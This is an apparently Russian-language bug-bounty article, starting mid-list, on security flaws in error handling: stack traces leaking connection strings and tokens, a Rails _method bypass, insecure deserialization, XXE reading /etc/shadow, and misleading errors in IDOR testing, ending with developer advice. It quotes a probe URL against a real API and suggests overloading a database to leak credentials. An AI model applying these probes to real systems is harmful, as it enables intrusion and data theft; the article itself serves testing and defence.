    &lt;li id=&quot;LHXt&quot;&gt;Выводит ошибку из кода вида: &amp;quot;json: cannot unmarshal number into Go value of type requests.CreateDirectoryRequest&amp;quot;&lt;/li&gt;
    &lt;li id=&quot;tTOp&quot;&gt;В тексте ошибки выводится StackTrace - самый плохой для разработчика   случай и отличный для багхантера случай.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;G0Sy&quot;&gt;Давайте рассмотрим какие проблемы с безопасностью могут быть в обработке ошибок и валидации.&lt;/p&gt;
  &lt;h2 id=&quot;Gx2L&quot;&gt;Дополнительная информация о системе&lt;/h2&gt;
  &lt;p id=&quot;WfaC&quot;&gt;Мы хотим протестировать веб-приложение. Первым делом нужно собрать о нем информацию: на каком языке программирования написано приложение, что используется в качестве базы данных, какие фреймворки, библиотеки и так далее. &lt;br /&gt;Зачем это нужно? - для каждого ЯП есть свои &amp;quot;экзотические уязвимости&amp;quot;.&lt;br /&gt;Узнали версию библиотеки - проверили какие существуют CVE для нее, выставлена ли не безопасная конфигурация по умолчанию. Если библиотека не безопасна по умолчанию, то велика вероятность, что разработчики не прочитали документацию и функционал уязвим.&lt;br /&gt;Здесь нам поможет текст ошибки.Часто разработчики выводят ошибку фреймворка, а не обрабатывают сами все случаи.&lt;/p&gt;
  &lt;h3 id=&quot;j8aJ&quot;&gt;Определение ЯП и использование его &amp;quot;фичи&amp;quot;:&lt;/h3&gt;
  &lt;p id=&quot;Fs1I&quot;&gt;Ввели не валидное значение, например %00 - получили &amp;quot;Translation missing: ru.errors.generic.nonexistent&amp;quot;. Поняли, что это Ruby on Rails. Если проверка, реализована через if request.post? то передав &lt;a href=&quot;https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-request_method&quot; target=&quot;_blank&quot;&gt;_method&lt;/a&gt;=GET ее можно обойти. Например, передав параметры не доступные для редактирования в методе POST, но имеющиеся в контроллере получаем Mass Assignment.&lt;/p&gt;
  &lt;h3 id=&quot;JyDt&quot;&gt;Определили библиотеку и узнали ее не безопасную конфигурацию:&lt;/h3&gt;
  &lt;p id=&quot;wr8P&quot;&gt;Увидели, что используется JavaScriptObjectDeserializer&lt;/p&gt;
  &lt;figure id=&quot;zYUq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d7/7b/d77b3f99-25f1-4b66-8c01-83461e919110.png&quot; width=&quot;1526&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bwyv&quot;&gt;Знаем, что тут может быть уязвимость Insecure deserialization, только в случае, если используется TypeResolver:&lt;/p&gt;
  &lt;pre id=&quot;nG0t&quot;&gt;JavaScriptSerializer jsonSerializer = new JavaScriptSerializer(new SimpleTypeResolver());&lt;/pre&gt;
  &lt;h2 id=&quot;xDTF&quot;&gt;Информация о внутренней инфраструктуре&lt;/h2&gt;
  &lt;p id=&quot;Az8f&quot;&gt;В некоторых случаях метод возвращает StackTrace. Это настоящий подарок для багхантера, потому что StackTrace может содержать секреты: connection string, токены, внутренние хосты и так далее.&lt;/p&gt;
  &lt;h3 id=&quot;JO87&quot;&gt;&lt;strong&gt;Сonnection string в тексте ошибки:&lt;/strong&gt;&lt;/h3&gt;
  &lt;p id=&quot;l5gW&quot;&gt;Если приложение не может подключится к базе данных, то вернет connection string.&lt;/p&gt;
  &lt;pre id=&quot;j7Uh&quot;&gt;Что-то пошло не так, попробуйте еще раз. A timeout occured after 30000ms selecting a server using CompositeServerSelector{ Selectors = MongoDB.Driver.MongoClient+AreSessionsSupportedServerSelector, LatencyLimitingServerSelector
{ AllowedLatencyRange = 00:00:00.0150000 }
}. Client view of cluster state is { ClusterId : &amp;quot;1&amp;quot;, ConnectionMode : &amp;quot;Automatic&amp;quot;, Type : &amp;quot;Standalone&amp;quot;, State : &amp;quot;Disconnected&amp;quot;, Servers : [{ ServerId: &amp;quot;
{ ClusterId : 1, EndPoint : &amp;quot;Unspecified/mongo-test:27017&amp;quot; }
&amp;quot;, EndPoint: &amp;quot;Unspecified/mongo-test:27017&amp;quot;, State: &amp;quot;Disconnected&amp;quot;, Type: &amp;quot;Unknown&amp;quot;, HeartbeatException: &amp;quot;MongoDB.Driver.MongoConnectionException: An exception occurred while opening a connection to the server.\n&lt;/pre&gt;
  &lt;p id=&quot;M4n0&quot;&gt;Злоумышленник может создать эту проблему, что бы получить строку подключения. Например, создав множество паралелльных соединений с бд.&lt;/p&gt;
  &lt;blockquote id=&quot;y1Yv&quot;&gt;Дисклеймер!&lt;br /&gt;Класть базу даннных, что бы получить строку подключения на багбаунти крайне не рекомендую.&lt;/blockquote&gt;
  &lt;h3 id=&quot;XJrA&quot;&gt;Токен в тексте ошибки - пример с hackerone от CIRCUIT&lt;/h3&gt;
  &lt;p id=&quot;JJW3&quot;&gt;&lt;a href=&quot;https://hackerone.com/reports/735971&quot; target=&quot;_blank&quot;&gt;Слив какого-то access токена :)&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;7HvK&quot;&gt;Ввели в поле userId=Ic%27 &lt;a href=&quot;https://api.qiwi.me/social-networks/vk?userId=lc%27&quot; target=&quot;_blank&quot;&gt;https://api.qiwi.me/social-networks/vk?userId=lc%27&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;8ZqW&quot;&gt;Получили исключение с маскированным access_token: &lt;/p&gt;
  &lt;pre id=&quot;CtPK&quot;&gt;{&amp;quot;application&amp;quot;:&amp;quot;PiggyBox[public] v-1.25.393&amp;quot;,&amp;quot;error&amp;quot;:&amp;quot;https://api.vk.com/method/users.get?access_token=165981de1**********4bfdb3b085c5eb7f61de75e3\u0026fields=photo_200%2Ccity\u0026lang=ru\u0026user_ids=lc%27\u0026v=5.101&amp;quot;,&amp;quot;trace_id&amp;quot;:&amp;quot;9c508a391ae7fbff&amp;quot;,&amp;quot;uptime&amp;quot;:&amp;quot;1h44m31.433579453s&amp;quot;}&lt;/pre&gt;
  &lt;h2 id=&quot;OfOB&quot;&gt;Избыточная информация в тексте ошибки&lt;/h2&gt;
  &lt;p id=&quot;wUgJ&quot;&gt;Иногда разработчики стараются добавить в текст ошибки больше информации, что приводит к раскрытию персональных данных.&lt;/p&gt;
  &lt;h3 id=&quot;Vb3u&quot;&gt;Информация о пользователях:&lt;/h3&gt;
  &lt;p id=&quot;Ns7s&quot;&gt;Есть система в которой компания может создавать задания исполнителям.&lt;br /&gt;Например, задание &amp;quot;доставка пиццы&amp;quot; для курьеров.&lt;br /&gt;Перебирая contractors_ids можно перебрать ФИО исполнителей других компаний.&lt;/p&gt;
  &lt;figure id=&quot;317T&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/63/19/631942ec-3194-4ca2-af67-430d816141d0.png&quot; width=&quot;1492&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;j00q&quot;&gt;Если бы разработчик выводили тут еще и телефон или весь объект contractor, то утечка персональных данных в этой системе стала бы критичной. &lt;/p&gt;
  &lt;h3 id=&quot;rpHh&quot;&gt;Информация от пользователя, которая не должна попадать в логи:&lt;/h3&gt;
  &lt;p id=&quot;y7D3&quot;&gt;Метод смены пароля часто имеет правила. &amp;quot;Пароль &lt;strong&gt;111&lt;/strong&gt; должен быть не короче 8 символов, содержать хотя бы одну заглавную букву и цифру&amp;quot;. Текст сообщения содержит ошибку с информацией, которую ввел пользователь. &lt;br /&gt;Так как пользователи добавляют обычно к своему паролю символы, которые требуются в правилах, то логи приложения будут содержать &amp;quot;почти верный пароль пользователя&amp;quot;. Отличающийся на 1-2 символа.&lt;br /&gt;В данном случае ошибка должна была быть - &amp;quot;Пароль должен быть не короче 8 символов, содержать хотя бы одну заглавную букву и цифру&amp;quot;&lt;/p&gt;
  &lt;h2 id=&quot;n34T&quot;&gt;Уязвимости в обработке ошибки&lt;/h2&gt;
  &lt;p id=&quot;k7Zx&quot;&gt;Валидация может содержать уязвимости. Не буду приводить пример с error based sql injection - все о ней знают и хотя встречается чаще всего на CTF, но забывать о ней не стоит.&lt;/p&gt;
  &lt;h3 id=&quot;h64G&quot;&gt;XXE:&lt;/h3&gt;
  &lt;p id=&quot;jtfb&quot;&gt;XML - парсеры могут быть узявимы к XXE(XML External Entity). Если разработчики вывели в каком элементе значение было не верным, то можно увидеть результат выполнение XXE и получить в тексте ошибки любые локальные файлы сервера доступные под пользователем под которым запущенно приложение. Иногда оно запущенно из под root. Проверяем можем ли мы получить /&lt;em&gt;etc&lt;/em&gt;/&lt;em&gt;shadow &lt;/em&gt;и если да, то это root, поздравляю.&lt;/p&gt;
  &lt;figure id=&quot;HQp4&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c9/28/c928c4f1-60c9-433d-ae83-c3628026fa98.png&quot; width=&quot;1466&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;qWoM&quot;&gt;Ошибки могут дезинформировать&lt;/h2&gt;
  &lt;p id=&quot;mvN6&quot;&gt;При тестировании, если мы получаем ошибку, то предполагаем, что метод не выполнился. Но иногда это не так и само наличие ошибки может сбивать с толку.&lt;/p&gt;
  &lt;p id=&quot;OCjM&quot;&gt;Например, при тестировании на IDOR в методах создания/удаления/изменения сущности - полагаться только на успешный ответ/ошибку не стоит.&lt;/p&gt;
  &lt;h3 id=&quot;r1YE&quot;&gt;Метод возвращает ошибку и выполняется&lt;/h3&gt;
  &lt;p id=&quot;TqhI&quot;&gt;Метод удаления файла. Пробуем удалить файл&lt;/p&gt;
  &lt;p id=&quot;REm7&quot;&gt;Получаем ошибку &amp;quot;Невозможно удалить файл&amp;quot;. Думаете файл действительно не удалился?&lt;/p&gt;
  &lt;figure id=&quot;zNl3&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b2/2a/b22a138d-8c3d-4513-8cd3-c141694105d5.png&quot; width=&quot;284&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;efbh&quot;&gt;Файл был удален.&lt;br /&gt;Почему это происходит разберем на примере построения зиккурата.&lt;/p&gt;
  &lt;h3 id=&quot;Zodr&quot;&gt;Выполнение продолжается после вывода ошибки&lt;/h3&gt;
  &lt;pre id=&quot;hI9x&quot;&gt;if () {
print(&amp;quot;Нельзя сотворить здесь&amp;quot;)
}
строим зиккурат&lt;/pre&gt;
  &lt;p id=&quot;AFgm&quot;&gt;Метод должен прекращать выполнение. Один из вариантов - реализация через вызов исключения.&lt;/p&gt;
  &lt;pre id=&quot;hf42&quot;&gt;if () {
} else {
return new ExceptionResult(&amp;quot;Нельзя сотворить здесь&amp;quot;)
}
строим зиккурат&lt;/pre&gt;
  &lt;h3 id=&quot;neZG&quot;&gt;Проверки нет и выводится ошибка от другого действия&lt;/h3&gt;
  &lt;p id=&quot;igvw&quot;&gt;Например, проверили, что земля проклята после строительства зуккурата.&lt;/p&gt;
  &lt;pre id=&quot;qYHw&quot;&gt;строим зиккурат
if (земля проклята) {
прокачиваем зиккурат
} else {
throw new exception(&amp;quot;Нельзя сотворить здесь&amp;quot;)
}
преобразовываем зиккурат в башню духов&lt;/pre&gt;
  &lt;p id=&quot;cMOE&quot;&gt;Нужно &amp;quot;до&amp;quot;&lt;/p&gt;
  &lt;pre id=&quot;SvuJ&quot;&gt;if (земля проклята) {
строим зиккурат
} else {
throw new exception(&amp;quot;Нельзя сотворить здесь&amp;quot;)
}&lt;/pre&gt;
  &lt;h3 id=&quot;qHIi&quot;&gt;Где это встречается?&lt;/h3&gt;
  &lt;ul id=&quot;cwIv&quot;&gt;
    &lt;li id=&quot;Q7L6&quot;&gt;Когда в методе много шагов с разными проверками&lt;/li&gt;
    &lt;li id=&quot;9vFm&quot;&gt;Есть интеграция и ошибку можем получить, когда клиент оборвал соединение, но продолжил выполнение. Например, метод вернул ошибку биллинга, но деньги списались, потому что разработчик забыл передать CancellationToken.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;V5nv&quot;&gt;Надо сказать, что оба варианта встречаются редко - чаще метод возвращает 200 success, когда код не был выполнен. Тем не менее такие кейсы встречаются на проде и в багбаунти и бывает полезно убедится, что ошибка стабильна и метод действительно не был выполнен.&lt;/p&gt;
  &lt;h2 id=&quot;OBI0&quot;&gt;В заключение:&lt;/h2&gt;
  &lt;p id=&quot;GEqD&quot;&gt;Как быть, если ты разработчик/QA и хочешь не допустить перечисленные проблемы?&lt;/p&gt;
  &lt;ul id=&quot;qNGD&quot;&gt;
    &lt;li id=&quot;K5EF&quot;&gt;Не выводить StackTrace в текст ошибки&lt;/li&gt;
    &lt;li id=&quot;8HPd&quot;&gt;StackTrace выводить в систему логирования&lt;/li&gt;
    &lt;li id=&quot;wHLt&quot;&gt;Не выводить избыточную информацию в текст ошибки&lt;/li&gt;
    &lt;li id=&quot;ef5J&quot;&gt;Задуматься какую информацию выводите пользователям&lt;/li&gt;
    &lt;li id=&quot;29Yn&quot;&gt;Искать и исправлять уязвимости :)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;4gzx&quot;&gt;Пользуйтесь чек-листом:&lt;/p&gt;
  &lt;p id=&quot;Vag1&quot;&gt;&lt;a href=&quot;https://github.com/VasilyevaAn/ru-error-handling-checklist&quot; target=&quot;_blank&quot;&gt;Чек-лист &amp;quot;Безопасность обработки ошибок&amp;quot;&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>